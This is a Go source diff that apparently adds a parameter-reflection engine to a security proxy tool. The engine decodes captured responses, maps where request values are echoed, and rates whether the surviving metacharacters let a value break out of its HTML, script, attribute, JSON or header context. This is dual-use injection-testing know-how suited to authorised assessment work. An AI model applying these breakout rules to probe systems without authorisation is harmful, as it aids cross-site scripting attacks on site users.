// bytes it is. url.QueryUnescape rejects the whole input on a single bare %,
// which is exactly the input this engine exists to look at. plus controls
// whether + means space, which is true of a query and a urlencoded body and
// false of a path segment.
func percentDecode(s string, plus bool) string {
if !strings.ContainsAny(s, "%+") {
return s
}
var b strings.Builder
b.Grow(len(s))
for i := 0; i < len(s); i++ {
switch {
case s[i] == '%' && i+2 < len(s) && isHex(s[i+1]) && isHex(s[i+2]):
b.WriteByte(unhex(s[i+1])<<4 | unhex(s[i+2]))
i += 2
case s[i] == '+' && plus:
b.WriteByte(' ')
default:
b.WriteByte(s[i])
}
}
return b.String()
}
func isHex(c byte) bool {
return c >= '0' && c <= '9' || c >= 'a' && c <= 'f' || c >= 'A' && c <= 'F'
}
func unhex(c byte) byte {
switch {
case c >= '0' && c <= '9':
return c - '0'
case c >= 'a' && c <= 'f':
return c - 'a' + 10
default:
return c - 'A' + 10
}
}
// admit reports whether a value is worth searching for. Short and ubiquitous
// values collide with ordinary page text often enough to bury every real
// reflection, so the bar is length, with an exception for anything carrying a
// metacharacter: a three-byte probe is short precisely because it is a probe.
func admit(v string, cfg Config) bool {
if len(v) > maxNeedleLen {
return false
}
if ubiquitous[strings.ToLower(v)] {
return false
}
if strings.ContainsAny(v, metaChars) {
return len(v) >= 3
}
if len(v) < cfg.MinValueLen {
return false
}
// A bare number of any length is a counter, an id or a price, and matches
// page text constantly.
if isAllDigits(v) {
return false
}
return true
}
func isAllDigits(s string) bool {
for i := 0; i < len(s); i++ {
if s[i] < '0' || s[i] > '9' {
return false
}
}
return len(s) > 0
}
// maxNeedleLen caps a single needle. A value longer than this is a document
// being round-tripped, and matching it says nothing an operator can act on.
const maxNeedleLen = 4096
+408
View File
@@ -0,0 +1,408 @@
package echo
import (
"context"
"errors"
"net/url"
"runtime"
"sync"
"sync/atomic"
"time"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/proxy"
)
const (
scanInterval = 400 * time.Millisecond
maxPerTick = 100
progressInterval = 500 * time.Millisecond
)
// ErrScanRunning is returned when a rescan is already in progress.
var ErrScanRunning = errors.New("a scan is already running")
// ScanStatus reports an on-demand pass.
type ScanStatus struct {
Running bool `json:"running"`
JobID string `json:"jobId,omitempty"`
Scanned int `json:"scanned"`
Total int `json:"total"`
StartedAt time.Time `json:"startedAt,omitempty"`
FinishedAt time.Time `json:"finishedAt,omitempty"`
Status string `json:"status,omitempty"`
}
// RescanRequest describes a backfill over captured history.
type RescanRequest struct {
Scope string `json:"scope"`
Host string `json:"host,omitempty"`
Clear bool `json:"clear,omitempty"`
}
// Engine owns the configuration, the cursor over captured traffic, and the set
// of findings minted from breakout reflections.
//
// Analysis runs here rather than on the proxy's request path for the reason
// detect's scanner gives: a browser waiting on a response must never wait on
// analysis, and a pass that pulls from the store is the same code a rescan runs.
type Engine struct {
store *Store
reqs *proxy.Store
scope *proxy.Scope
findings *detect.Store
broadcast chan<- any
notify func()
mu sync.RWMutex
cfg Config
status ScanStatus
cancel context.CancelFunc
managed map[string]string
wake chan struct{}
cursor atomic.Int64
}
// NewEngine constructs the engine. notify pushes the aggregate detect summary,
// which needs the detect engine's rule-enabled predicate and so lives in the
// API layer.
func NewEngine(
store *Store,
reqs *proxy.Store,
scope *proxy.Scope,
findings *detect.Store,
broadcast chan<- any,
notify func(),
) *Engine {
return &Engine{
store: store, reqs: reqs, scope: scope, findings: findings,
broadcast: broadcast, notify: notify,
cfg: DefaultConfig(),
managed: map[string]string{},
wake: make(chan struct{}, 1),
}
}
func (e *Engine) Config() Config {
e.mu.RLock()
defer e.mu.RUnlock()
return e.cfg
}
// SetConfig replaces the configuration. Turning the feature off retracts the
// findings it owns, so a disabled engine leaves nothing behind in Detect.
func (e *Engine) SetConfig(cfg Config) {
cfg.Normalize()
e.mu.Lock()
wasOn := e.cfg.Enabled
e.cfg = cfg
e.mu.Unlock()
if wasOn && !cfg.Enabled {
e.retractAll()
}
e.Wake()
}
func (e *Engine) Enabled() bool {
e.mu.RLock()
defer e.mu.RUnlock()
return e.cfg.Enabled
}
func (e *Engine) SetEnabled(on bool) {
cfg := e.Config()
cfg.Enabled = on
e.SetConfig(cfg)
}
// ResetCursor rewinds to seq. The reports keyed on the old numbering are
// dropped with them, because LoadItems rewrites sequence numbers and a report
// filed under an old one would describe a different request.
func (e *Engine) ResetCursor(seq int) {
e.cursor.Store(int64(seq))
}
// Wake nudges the loop without waiting for the next tick.
func (e *Engine) Wake() {
select {
case e.wake <- struct{}{}:
default:
}
}
func (e *Engine) Run(ctx context.Context) {
ticker := time.NewTicker(scanInterval)
defer ticker.Stop()
for {
select {
case <-ctx.Done():
return
case <-ticker.C:
e.scanOnce(ctx)
case <-e.wake:
e.scanOnce(ctx)
}
}
}
func (e *Engine) scopeFunc() proxy.ScopeFunc {
if e.scope == nil {
return nil
}
return e.scope.InScope
}
// scanOnce analyzes the batch of captures past the cursor. The watermark is
// advanced only after the batch drains, so an interrupted tail is re-picked
// next pass; re-analyzing a message already filed is harmless because a report
// replaces its predecessor under the same request ID.
func (e *Engine) scanOnce(ctx context.Context) {
cfg := e.Config()
if !cfg.Enabled || e.reqs == nil {
return
}
cursor := int(e.cursor.Load())
items := e.reqs.SinceSeq(cursor, maxPerTick)
if len(items) == 0 {
return
}
maxSeq := cursor
for _, it := range items {
if it.Seq > maxSeq {
maxSeq = it.Seq
}
}
scanned := e.fanOut(ctx, items, cfg, nil)
e.cursor.Store(int64(maxSeq))
if scanned > 0 {
e.reconcile(cfg)
e.emitSummary()
}
}
func scanWorkers(n int) int {
w := runtime.NumCPU() / 2
if w < 2 {
w = 2
}
if w > 8 {
w = 8
}
if n < w {
w = n
}
return w
}
// fanOut analyzes items across a bounded pool. Analysis touches no shared state
// but the store, which is why the pool needs no coordination beyond it.
func (e *Engine) fanOut(
ctx context.Context,
items []*proxy.CapturedRequest,
cfg Config,
onProgress func(scanned int),
) int {
scope := e.scopeFunc()
workers := scanWorkers(len(items))
if workers <= 0 {
return 0
}
work := make(chan *proxy.CapturedRequest, workers)
var scanned atomic.Int64
var wg sync.WaitGroup
for i := 0; i < workers; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for it := range work {
if e.analyzeOne(it, cfg, scope) {
scanned.Add(1)
}
}
}()
}
last := time.Now()
for _, it := range items {
select {
case <-ctx.Done():
close(work)
wg.Wait()
return int(scanned.Load())
case work <- it:
}
if onProgress != nil && time.Since(last) >= progressInterval {
last = time.Now()
onProgress(int(scanned.Load()))
}
}
close(work)
wg.Wait()
return int(scanned.Load())
}
// analyzeOne filters, analyzes and files one capture. It reports whether the
// message was analyzed, which is what the scanned counter means: a message
// skipped for scope was never looked at.
func (e *Engine) analyzeOne(it *proxy.CapturedRequest, cfg Config, scope proxy.ScopeFunc) bool {
if it == nil || len(it.RespRaw) == 0 {
return false
}
if HostExcluded(it.Host, cfg.ExcludeHosts) {
return false
}
if cfg.ScopeOnly && scope != nil {
// The URL is parsed directly rather than through detect.Parse: the scope
// check needs only the path, and a full parse here would decompress the
// body a moment before Analyze decompresses it again.
host, path := it.Host, "/"
if u, err := url.Parse(it.URL); err == nil {
if u.Host != "" {
host = u.Host
}
if u.Path != "" {
path = u.Path
}
}
if !scope(host, it.Method, path) {
return false
}
}
rep := Analyze(it, cfg)
e.store.Add(rep)
e.store.NoteScanned(1)
if len(rep.Reflections) > 0 {
e.emitReflection(rep)
}
return true
}
// Status reports the current or last rescan.
func (e *Engine) Status() ScanStatus {
e.mu.RLock()
defer e.mu.RUnlock()
return e.status
}
// Cancel stops a running rescan.
func (e *Engine) Cancel() {
e.mu.Lock()
cancel := e.cancel
e.mu.Unlock()
if cancel != nil {
cancel()
}
}
// StartRescan analyzes captured history. It is how the map is backfilled after
// the feature is switched on, which is the common case: an operator turns it on
// once the interesting traffic is already captured.
func (e *Engine) StartRescan(ctx context.Context, req RescanRequest) (ScanStatus, error) {
cfg := e.Config()
if e.reqs == nil {
return ScanStatus{}, errors.New("no capture store")
}
e.mu.Lock()
if e.status.Running {
e.mu.Unlock()
return e.status, ErrScanRunning
}
items := e.reqs.All()
if req.Scope == "host" && req.Host != "" {
filtered := items[:0:0]
for _, it := range items {
if it.Host == req.Host {
filtered = append(filtered, it)
}
}
items = filtered
}
jobID := proxy.GenerateID()
rctx, cancel := context.WithCancel(ctx)
e.cancel = cancel
e.status = ScanStatus{
Running: true, JobID: jobID, Total: len(items),
StartedAt: time.Now(), Status: "running",
}
status := e.status
e.mu.Unlock()
if req.Clear {
e.store.Clear()
}
go e.runRescan(rctx, cancel, jobID, items, cfg)
return status, nil
}
func (e *Engine) runRescan(
ctx context.Context, cancel context.CancelFunc,
jobID string, items []*proxy.CapturedRequest, cfg Config,
) {
defer cancel()
started := time.Now()
e.emit("echo.scan.started", map[string]any{"jobId": jobID, "total": len(items)})
scanned := e.fanOut(ctx, items, cfg, func(n int) {
e.mu.Lock()
e.status.Scanned = n
e.mu.Unlock()
e.emit("echo.scan.progress", map[string]any{
"jobId": jobID, "scanned": n, "total": len(items),
})
})
stopped := ctx.Err() != nil
state := "complete"
if stopped {
state = "stopped"
}
e.mu.Lock()
e.status.Running = false
e.status.Scanned = scanned
e.status.FinishedAt = time.Now()
e.status.Status = state
e.cancel = nil
e.mu.Unlock()
e.reconcile(cfg)
e.emitSummary()
e.emit("echo.scan.complete", map[string]any{
"jobId": jobID, "status": state, "scanned": scanned,
"durationMs": time.Since(started).Milliseconds(),
})
}
func (e *Engine) emit(typ string, data map[string]any) {
if e.broadcast == nil {
return
}
e.broadcast <- event.WSEvent{Type: typ, Data: data}
}
// emitReflection is droppable: a busy sweep must not back-pressure the proxy,
// and the table resyncs on reconnect.
func (e *Engine) emitReflection(rep *Report) {
if e.broadcast == nil {
return
}
select {
case e.broadcast <- event.WSEvent{Type: "echo.reflection", Data: map[string]any{
"requestId": rep.RequestID,
"host": rep.Host,
"reflections": len(rep.Reflections),
"breakouts": rep.Breakouts,
}}:
default:
}
}
func (e *Engine) emitSummary() {
if e.broadcast == nil {
return
}
select {
case e.broadcast <- event.WSEvent{Type: "echo.summary", Data: e.store.Summary()}:
default:
}
}
+102
View File
@@ -0,0 +1,102 @@
package echo
import (
"bytes"
"strings"
)
// Snippet bounds. A Reflection carries its snippet in capped slices but many of
// them, so the window is the budget: snippetPad bytes of context on each side,
// the whole window clamped to snippetMaxBytes. snippetMaxBytes mirrors detect's
// maxEvidenceBytes so the two evidence surfaces stay the same size.
const (
snippetPad = 80
snippetMaxBytes = 256
)
// snippetWindow returns the raw byte range [lo, hi) of src to cut a snippet
// from, given the matched run [start, end). It pads each side, then expands
// outward to whole lines so the match reads with a line of context above and
// below, and clamps the window to snippetMaxBytes with the match kept. lo <=
// start and hi >= end always, except a match longer than the cap, whose head
// alone is returned.
func snippetWindow(src []byte, start, end int) (lo, hi int) {
n := len(src)
if start < 0 {
start = 0
}
if end > n {
end = n
}
if end < start {
end = start
}
if end-start >= snippetMaxBytes {
hi = min(start+snippetMaxBytes, n)
return start, hi
}
lo0 := max(start-snippetPad, 0)
hi0 := min(end+snippetPad, n)
// Expand to the line lo0 falls in and the line hi0 falls in, so a context
// line survives on each side rather than collapsing to the match's own line.
lo = 0
if nl := bytes.LastIndexByte(src[:lo0], '\n'); nl >= 0 {
lo = nl + 1
}
hi = n
if nl := bytes.IndexByte(src[hi0:], '\n'); nl >= 0 {
hi = hi0 + nl
}
// Clamp to the byte cap, trimming context toward the match (a single line
// longer than the budget is cut mid-way; the viewer wraps it).
avail := snippetMaxBytes - (end - start)
if start-lo > avail/2 {
lo = start - avail/2
}
if hi-end > avail-avail/2 {
hi = end + (avail - avail/2)
}
return lo, hi
}
// sanitizeSnippet renders a response slice for display. It keeps newlines and
// tabs so the window reads as the two or three lines around the match, drops
// lone carriage returns (the newline alone breaks the line), and escapes other
// control bytes to \xNN. Unlike detect's sanitizeEvidence it never truncates:
// the three parts of a snippet are sanitized separately so the match offsets
// stay exact, and snippetWindow has already bounded the raw input.
func sanitizeSnippet(b []byte) string {
var sb strings.Builder
sb.Grow(len(b))
for _, r := range string(b) {
switch {
case r == '\n' || r == '\t':
sb.WriteRune(r)
case r == '\r':
// Dropped: a CRLF still breaks at the newline.
case r < 0x20 || r == 0x7f:
const hexDigits = "0123456789abcdef"
sb.WriteString("\\x")
sb.WriteByte(hexDigits[(r>>4)&0xf])
sb.WriteByte(hexDigits[r&0xf])
default:
sb.WriteRune(r)
}
}
return sb.String()
}
// buildSnippet cuts a display snippet from src around the matched run
// [start, end) and returns it with the match located inside it. The match may
// be clamped when it is longer than the cap; the caller's stored Span is
// unaffected because that indexes the document, not the snippet.
func buildSnippet(src []byte, start, end int) (string, Span) {
lo, hi := snippetWindow(src, start, end)
mEnd := min(end, hi)
pre := sanitizeSnippet(src[lo:start])
mid := sanitizeSnippet(src[start:mEnd])
suf := sanitizeSnippet(src[mEnd:hi])
return pre + mid + suf, Span{Start: len(pre), End: len(pre) + len(mid)}
}
+392
View File
@@ -0,0 +1,392 @@
package echo
import (
"crypto/sha256"
"encoding/hex"
"sort"
"strings"
"sync"
"sync/atomic"
"time"
)
// defaultMaxReports bounds the per-message reports held for the request pane.
// The aggregate below is what survives; a report is the detail behind one row.
const defaultMaxReports = 2000
// maxEntryExamples bounds the reflections kept on an aggregate row.
const maxEntryExamples = 20
// SinkSummary is one distinct place a parameter lands, counted across every
// message that carried it.
type SinkSummary struct {
Context Context `json:"context"`
JSContext JSContext `json:"jsContext,omitempty"`
Transform Transform `json:"transform"`
Attr string `json:"attr,omitempty"`
Count int `json:"count"`
Breakout bool `json:"breakout"`
}
// Entry is one row of the map: a parameter on a host, and everywhere its values
// have been seen to come back.
type Entry struct {
ID string `json:"id"`
Host string `json:"host"`
Source Source `json:"source"`
Name string `json:"name"`
Observations int `json:"observations"`
DistinctValues int `json:"distinctValues"`
Reflections int `json:"reflections"`
Breakouts int `json:"breakouts"`
Sinks []SinkSummary `json:"sinks"`
LastSeen time.Time `json:"lastSeen"`
ExampleRequestID string `json:"exampleRequestId"`
ExampleURL string `json:"exampleUrl"`
ExampleValue string `json:"exampleValue"`
// Examples are the most recent reflections for this parameter, for the
// detail pane.
Examples []Reflection `json:"examples,omitempty"`
values map[string]struct{}
// sinks maps a sink key to its index in Sinks.
sinks map[string]int
}
// EntryID is the stable identity of a parameter on a host. Callers use it as an
// opaque handle; it is also the group dimension a finding is keyed on, so it
// must not change shape.
func EntryID(host string, src Source, name string) string {
sum := sha256.Sum256([]byte(host + "\x00" + string(src) + "\x00" + name))
return hex.EncodeToString(sum[:])[:16]
}
// Store holds the per-message reports and the aggregate map built from them.
//
// The aggregate is cumulative: evicting a report to stay within the ring does
// not decrement the row it contributed to. A map that shrank as history rolled
// over would report that a parameter stopped being reflected when all that
// happened is that the evidence scrolled off.
type Store struct {
mu sync.RWMutex
reports map[string]*Report
order []string
maxReports int
entries map[string]*Entry
revision atomic.Uint64
scanned atomic.Int64
}
func NewStore(maxReports int) *Store {
if maxReports <= 0 {
maxReports = defaultMaxReports
}
return &Store{
reports: map[string]*Report{},
maxReports: maxReports,
entries: map[string]*Entry{},
}
}
func (s *Store) Revision() uint64 { return s.revision.Load() }
func (s *Store) NoteScanned(n int) {
if n > 0 {
s.scanned.Add(int64(n))
}
}
// Add files a report and folds it into the aggregate. A report with no
// reflections is still counted, because "this parameter is never reflected" is
// an answer.
func (s *Store) Add(rep *Report) {
if rep == nil || rep.RequestID == "" {
return
}
s.mu.Lock()
defer s.mu.Unlock()
if _, exists := s.reports[rep.RequestID]; !exists {
s.order = append(s.order, rep.RequestID)
}
s.reports[rep.RequestID] = rep
for len(s.order) > s.maxReports {
delete(s.reports, s.order[0])
s.order = s.order[1:]
}
byParam := map[string][]Reflection{}
for _, rf := range rep.Reflections {
byParam[EntryID(rep.Host, rf.Source, rf.Name)] = append(
byParam[EntryID(rep.Host, rf.Source, rf.Name)], rf)
}
for id, rfs := range byParam {
e := s.entries[id]
if e == nil {
e = &Entry{
ID: id, Host: rep.Host, Source: rfs[0].Source, Name: rfs[0].Name,
values: map[string]struct{}{}, sinks: map[string]int{},
}
s.entries[id] = e
}
e.Observations++
e.Reflections += len(rfs)
e.LastSeen = rep.Timestamp
e.ExampleRequestID = rep.RequestID
e.ExampleURL = rep.URL
e.ExampleValue = rfs[0].Value
for _, rf := range rfs {
e.values[rf.Value] = struct{}{}
if rf.Breakout {
e.Breakouts++
}
key := rf.SinkKey() + "|" + rf.Attr
i, ok := e.sinks[key]
if !ok {
e.Sinks = append(e.Sinks, SinkSummary{
Context: rf.Context, JSContext: rf.JSContext,
Transform: rf.Transform, Attr: rf.Attr,
})
i = len(e.Sinks) - 1
e.sinks[key] = i
}
e.Sinks[i].Count++
if rf.Breakout {
e.Sinks[i].Breakout = true
}
}
e.DistinctValues = len(e.values)
e.Examples = append(rfs, e.Examples...)
if len(e.Examples) > maxEntryExamples {
e.Examples = e.Examples[:maxEntryExamples]
}
}
s.revision.Add(1)
}
// Report returns one message's analysis.
func (s *Store) Report(requestID string) (*Report, bool) {
s.mu.RLock()
defer s.mu.RUnlock()
r, ok := s.reports[requestID]
return r, ok
}
// Entry returns one aggregate row.
func (s *Store) Entry(id string) (Entry, bool) {
s.mu.RLock()
defer s.mu.RUnlock()
e, ok := s.entries[id]
if !ok {
return Entry{}, false
}
return *e, true
}
// Filter narrows the map. Empty fields mean no constraint, so an unset filter
// returns everything.
type Filter struct {
Host string
Sources []string
Contexts []string
Transforms []string
BreakoutOnly bool
Search string
Sort string
Dir string
Offset int
Limit int
}
// List returns the map rows matching f, plus the total before paging.
func (s *Store) List(f Filter) ([]Entry, int) {
s.mu.RLock()
out := make([]Entry, 0, len(s.entries))
for _, e := range s.entries {
if matches(e, f) {
c := *e
c.Examples = nil
out = append(out, c)
}
}
s.mu.RUnlock()
sortEntries(out, f.Sort, f.Dir)
total := len(out)
if f.Offset > 0 {
if f.Offset >= len(out) {
return nil, total
}
out = out[f.Offset:]
}
if f.Limit > 0 && f.Limit < len(out) {
out = out[:f.Limit]
}
return out, total
}
func matches(e *Entry, f Filter) bool {
if f.BreakoutOnly && e.Breakouts == 0 {
return false
}
if f.Host != "" && !strings.Contains(strings.ToLower(e.Host), strings.ToLower(f.Host)) {
return false
}
if len(f.Sources) > 0 && !contains(f.Sources, string(e.Source)) {
return false
}
if f.Search != "" {
q := strings.ToLower(f.Search)
if !strings.Contains(strings.ToLower(e.Name), q) &&
!strings.Contains(strings.ToLower(e.ExampleValue), q) {
return false
}
}
if len(f.Contexts) > 0 && !anySink(e, func(s SinkSummary) bool {
return contains(f.Contexts, string(s.Context))
}) {
return false
}
if len(f.Transforms) > 0 && !anySink(e, func(s SinkSummary) bool {
return contains(f.Transforms, string(s.Transform))
}) {
return false
}
return true
}
func anySink(e *Entry, fn func(SinkSummary) bool) bool {
for _, s := range e.Sinks {
if fn(s) {
return true
}
}
return false
}
func contains(hay []string, v string) bool {
for _, h := range hay {
if h == v {
return true
}
}
return false
}
// sortEntries orders the map. The default puts what an operator should look at
// first: parameters that broke out, then the most reflected.
func sortEntries(es []Entry, col, dir string) {
less := func(a, b Entry) bool {
switch col {
case "host":
return a.Host < b.Host
case "name":
return a.Name < b.Name
case "reflections":
return a.Reflections > b.Reflections
case "lastseen":
return a.LastSeen.After(b.LastSeen)
default:
if (a.Breakouts > 0) != (b.Breakouts > 0) {
return a.Breakouts > 0
}
if a.Reflections != b.Reflections {
return a.Reflections > b.Reflections
}
return a.LastSeen.After(b.LastSeen)
}
}
sort.SliceStable(es, func(i, j int) bool {
if dir == "asc" {
return less(es[j], es[i])
}
return less(es[i], es[j])
})
}
// Summary is the aggregate shown on the tab header and pushed over the socket.
type Summary struct {
Params int `json:"params"`
Hosts int `json:"hosts"`
Reflections int `json:"reflections"`
Breakouts int `json:"breakouts"`
Scanned int64 `json:"scanned"`
ByContext map[string]int `json:"byContext"`
ByTransform map[string]int `json:"byTransform"`
}
func (s *Store) Summary() Summary {
s.mu.RLock()
defer s.mu.RUnlock()
sum := Summary{
Scanned: s.scanned.Load(),
ByContext: map[string]int{},
ByTransform: map[string]int{},
}
hosts := map[string]struct{}{}
for _, e := range s.entries {
sum.Params++
sum.Reflections += e.Reflections
sum.Breakouts += e.Breakouts
hosts[e.Host] = struct{}{}
for _, sk := range e.Sinks {
sum.ByContext[string(sk.Context)] += sk.Count
sum.ByTransform[string(sk.Transform)] += sk.Count
}
}
sum.Hosts = len(hosts)
return sum
}
func (s *Store) Count() int {
s.mu.RLock()
defer s.mu.RUnlock()
return len(s.entries)
}
// Breakouts returns every row with a reflection that can leave its context, for
// the finding reconciliation.
func (s *Store) Breakouts() []Entry {
s.mu.RLock()
defer s.mu.RUnlock()
var out []Entry
for _, e := range s.entries {
if e.Breakouts > 0 {
c := *e
c.Examples = append([]Reflection(nil), e.Examples...)
out = append(out, c)
}
}
sort.Slice(out, func(i, j int) bool { return out[i].ID < out[j].ID })
return out
}
func (s *Store) Clear() {
s.mu.Lock()
defer s.mu.Unlock()
s.reports = map[string]*Report{}
s.order = nil
s.entries = map[string]*Entry{}
s.scanned.Store(0)
s.revision.Add(1)
}
// Hosts lists every host with a row, for the filter bar.
func (s *Store) Hosts() []string {
s.mu.RLock()
defer s.mu.RUnlock()
seen := map[string]struct{}{}
for _, e := range s.entries {
seen[e.Host] = struct{}{}
}
out := make([]string, 0, len(seen))
for h := range seen {
out = append(out, h)
}
sort.Strings(out)
return out
}
+162
View File
@@ -0,0 +1,162 @@
package echo
import (
"strings"
"github.com/BishopFox/joro/internal/detect"
)
// metaChars are the characters whose survival changes what a reflection can do.
// Whitespace is deliberately absent: it survives almost everything and would
// make the admission rule in params.go accept every short value there is. The
// one context where a space matters, an unquoted attribute, tests for it
// directly.
const metaChars = "<>\"'`&\\/(){};=\n\r"
// eventAttrs are attributes whose value is script. A reflection inside one is
// already in code and needs no quote to escape.
func isEventAttr(name string) bool {
return len(name) > 2 && (name[0] == 'o' || name[0] == 'O') &&
(name[1] == 'n' || name[1] == 'N')
}
// urlAttrs are attributes a browser will navigate or fetch, where controlling
// the start of the value is enough without any metacharacter surviving.
var urlAttrs = map[string]bool{
"href": true, "src": true, "action": true, "formaction": true,
"data": true, "poster": true, "srcdoc": true, "xlink:href": true,
"background": true, "cite": true, "longdesc": true, "manifest": true,
}
// survivedChars reports which of the value's metacharacters reached the
// response literally, by asking the view's offset map how many source bytes
// produced each decoded byte. One source byte that equals the decoded byte
// passed through untouched; anything wider was an escape.
//
// Reading survival off the offset map rather than off the raw slice is what
// keeps an encoding's own punctuation out of the answer: the '&' in "&lt;" is a
// byte of the escape, not a '&' the application let through.
func survivedChars(v view, start, end int) string {
var seen [256]bool
var out []byte
for k := start; k < end && k < len(v.b); k++ {
c := v.b[k]
if strings.IndexByte(metaChars, c) < 0 {
continue
}
if v.at(k+1)-v.at(k) != 1 {
continue
}
if seen[c] {
continue
}
seen[c] = true
out = append(out, c)
}
return string(out)
}
// sink is the placement of one reflection, everything the breakout rubric needs.
type sink struct {
ctx Context
js JSContext
attr string
quote string
// atValueStart marks a reflection that begins its attribute's value, which
// is what decides whether a URL attribute can be given a new scheme.
atValueStart bool
}
// breakout reports whether what survived is enough to leave the sink. The rubric
// is per context because the escape differs: a quoted attribute needs its own
// quote, a script string needs its delimiter or the closing tag, and a response
// header needs a line break.
func breakout(s sink, survived string) bool {
has := func(cs string) bool { return strings.ContainsAny(survived, cs) }
// Closing the enclosing element escapes any HTML context, whatever else the
// sink is, so it is checked before the per-context rules.
if has("<") && has("/") {
switch s.ctx {
case ContextScript, ContextStyle, ContextHTMLComment:
return true
}
}
switch s.ctx {
case ContextHTMLText, ContextPlain:
return has("<")
case ContextHTMLComment:
return has("<>")
case ContextTagName, ContextAttrName:
return has(">") || has("=") || has("\"'")
case ContextAttrValue:
switch {
case s.quote == `"`:
if has(`"`) {
return true
}
case s.quote == `'`:
if has(`'`) {
return true
}
default:
// Unquoted: any delimiter ends the value and starts a new attribute.
if has(">") || has("\"'`=") {
return true
}
}
if isEventAttr(s.attr) {
// Already script; a quote or a parenthesis is enough to add a call.
return has("\"'();")
}
if urlAttrs[strings.ToLower(s.attr)] && s.atValueStart {
// Controlling the scheme does not need a metacharacter to survive.
return true
}
return false
case ContextScript:
switch s.js {
case JSStringDouble:
return has(`"`) || has("\n\r")
case JSStringSingle:
return has("'") || has("\n\r")
case JSTemplate:
return has("`") || has("{")
case JSComment:
return has("\n\r")
default:
// Reflected into code: any structural character is enough.
return has("\"'`();{}=")
}
case ContextStyle:
return has("{};")
case ContextJSONString, ContextJSONKey:
return has(`"`)
case ContextHeaderValue:
return has("\n\r")
}
return false
}
// confidence rates how likely a match is a real reflection rather than an
// accident of page text. Length and entropy are the whole signal: a long or
// high-entropy value the operator sent is not in the response by chance, and a
// short dictionary word usually is.
func confidence(value string) Confidence {
switch {
case len(value) >= 16 || detect.ShannonEntropy(value) >= 3.5:
return ConfidenceHigh
case len(value) >= 8 || strings.ContainsAny(value, metaChars):
return ConfidenceMedium
default:
return ConfidenceLow
}
}
+424
View File
@@ -0,0 +1,424 @@
package echo
import (
"bytes"
"encoding/base64"
"strconv"
"strings"
)
// view is a buffer to search plus the mapping back to where its bytes came
// from. off holds one entry per byte of b plus a trailing sentinel, so a match
// on [i,j) maps to the source range [off[i], off[j]) exactly — including when
// the last decoded byte was written by a multi-byte escape. A nil off means the
// identity mapping, which spares the common case an allocation the size of the
// body.
type view struct {
kind Transform
b []byte
off []int32
}
// at maps an index in v.b, or the one-past-the-end index, to a source offset.
func (v view) at(i int) int {
if v.off == nil {
return i
}
if i >= len(v.off) {
return int(v.off[len(v.off)-1])
}
return int(v.off[i])
}
// decoder strips one layer of encoding, returning the decoded bytes and their
// offset map into src. changed is false when src held nothing to decode, which
// is the signal to skip the view entirely rather than search a copy of a buffer
// already searched.
type decoder struct {
kind Transform
marker byte // a byte src must contain for this decoder to do anything
fn func(src []byte) (out []byte, off []int32, changed bool)
}
var decoders = []decoder{
{TransformPercent, '%', decodePercent},
{TransformHTMLEntity, '&', decodeHTMLEntity},
{TransformJSString, '\\', decodeJSString},
}
// buildViews returns every buffer worth searching for a literal value. The
// marker check is what keeps the common response at two passes: a body with no
// '&' in it cannot be hiding an entity-encoded value, and proving that costs one
// scan rather than a decode and a search.
func buildViews(src []byte, cfg Config) []view {
views := []view{{kind: TransformIdentity, b: src}}
if len(src) == 0 {
return views
}
type layer struct {
v view
name Transform
}
var first []layer
for _, d := range decoders {
if bytes.IndexByte(src, d.marker) < 0 {
continue
}
out, off, changed := d.fn(src)
if !changed || bytes.Equal(out, src) {
continue
}
v := view{kind: d.kind, b: out, off: off}
views = append(views, v)
first = append(first, layer{v, d.kind})
}
if cfg.TransformDepth >= 2 {
for _, l := range first {
for _, d := range decoders {
// A doubled js-string decode is not a shape anything produces,
// and html-then-html folds into a single pass already.
if d.kind == TransformJSString || l.name == TransformJSString {
continue
}
if d.kind == TransformHTMLEntity && l.name == TransformHTMLEntity {
continue
}
if bytes.IndexByte(l.v.b, d.marker) < 0 {
continue
}
out, off, changed := d.fn(l.v.b)
if !changed {
continue
}
views = append(views, view{
kind: composeName(l.name, d.kind),
b: out,
off: composeOffsets(l.v, off),
})
}
}
}
if cfg.Base64 {
views = append(views, base64Views(src)...)
}
return views
}
// composeName joins two transform names outermost first, so the name reads in
// the order a decoder strips them.
func composeName(outer, inner Transform) Transform {
switch {
case outer == TransformPercent && inner == TransformHTMLEntity:
return TransformPercentHTML
case outer == TransformPercent && inner == TransformPercent:
return TransformPercentTwice
case outer == TransformHTMLEntity && inner == TransformPercent:
return TransformHTMLPercent
}
return Transform(string(outer) + "+" + string(inner))
}
// composeOffsets threads an inner decoder's map through the outer view's, which
// is the whole reason a decoder returns a map rather than a string: composing
// two layers is composing two lookups.
func composeOffsets(outer view, inner []int32) []int32 {
out := make([]int32, len(inner))
for i, v := range inner {
out[i] = int32(outer.at(int(v)))
}
return out
}
func decodePercent(src []byte) ([]byte, []int32, bool) {
out := make([]byte, 0, len(src))
off := make([]int32, 0, len(src)+1)
changed := false
for i := 0; i < len(src); i++ {
if src[i] == '%' && i+2 < len(src) && isHex(src[i+1]) && isHex(src[i+2]) {
out = append(out, unhex(src[i+1])<<4|unhex(src[i+2]))
off = append(off, int32(i))
i += 2
changed = true
continue
}
out = append(out, src[i])
off = append(off, int32(i))
}
off = append(off, int32(len(src)))
return out, off, changed
}
// namedEntities covers the entities that carry security meaning plus the few
// an application is likely to emit around them. The full HTML5 table is
// thousands of entries and none of the rest changes a verdict.
var namedEntities = map[string]byte{
"lt": '<', "gt": '>', "amp": '&', "quot": '"', "apos": '\'',
"sol": '/', "bsol": '\\', "lpar": '(', "rpar": ')', "colon": ':',
"semi": ';', "equals": '=', "grave": '`', "lbrace": '{', "rbrace": '}',
"lsqb": '[', "rsqb": ']', "excl": '!', "num": '#', "dollar": '$',
"percnt": '%', "ast": '*', "plus": '+', "comma": ',', "period": '.',
"quest": '?', "commat": '@', "verbar": '|', "tilde": '~', "nbsp": ' ',
"Tab": '\t', "NewLine": '\n', "space": ' ',
}
// decodeHTMLEntity expands named and numeric references. A reference is
// accepted without its terminating semicolon, because browsers do and the point
// is to see what a browser would see.
func decodeHTMLEntity(src []byte) ([]byte, []int32, bool) {
out := make([]byte, 0, len(src))
off := make([]int32, 0, len(src)+1)
changed := false
for i := 0; i < len(src); i++ {
if src[i] != '&' {
out = append(out, src[i])
off = append(off, int32(i))
continue
}
b, width, ok := readEntity(src[i:])
if !ok {
out = append(out, src[i])
off = append(off, int32(i))
continue
}
out = append(out, b...)
for range b {
off = append(off, int32(i))
}
i += width - 1
changed = true
}
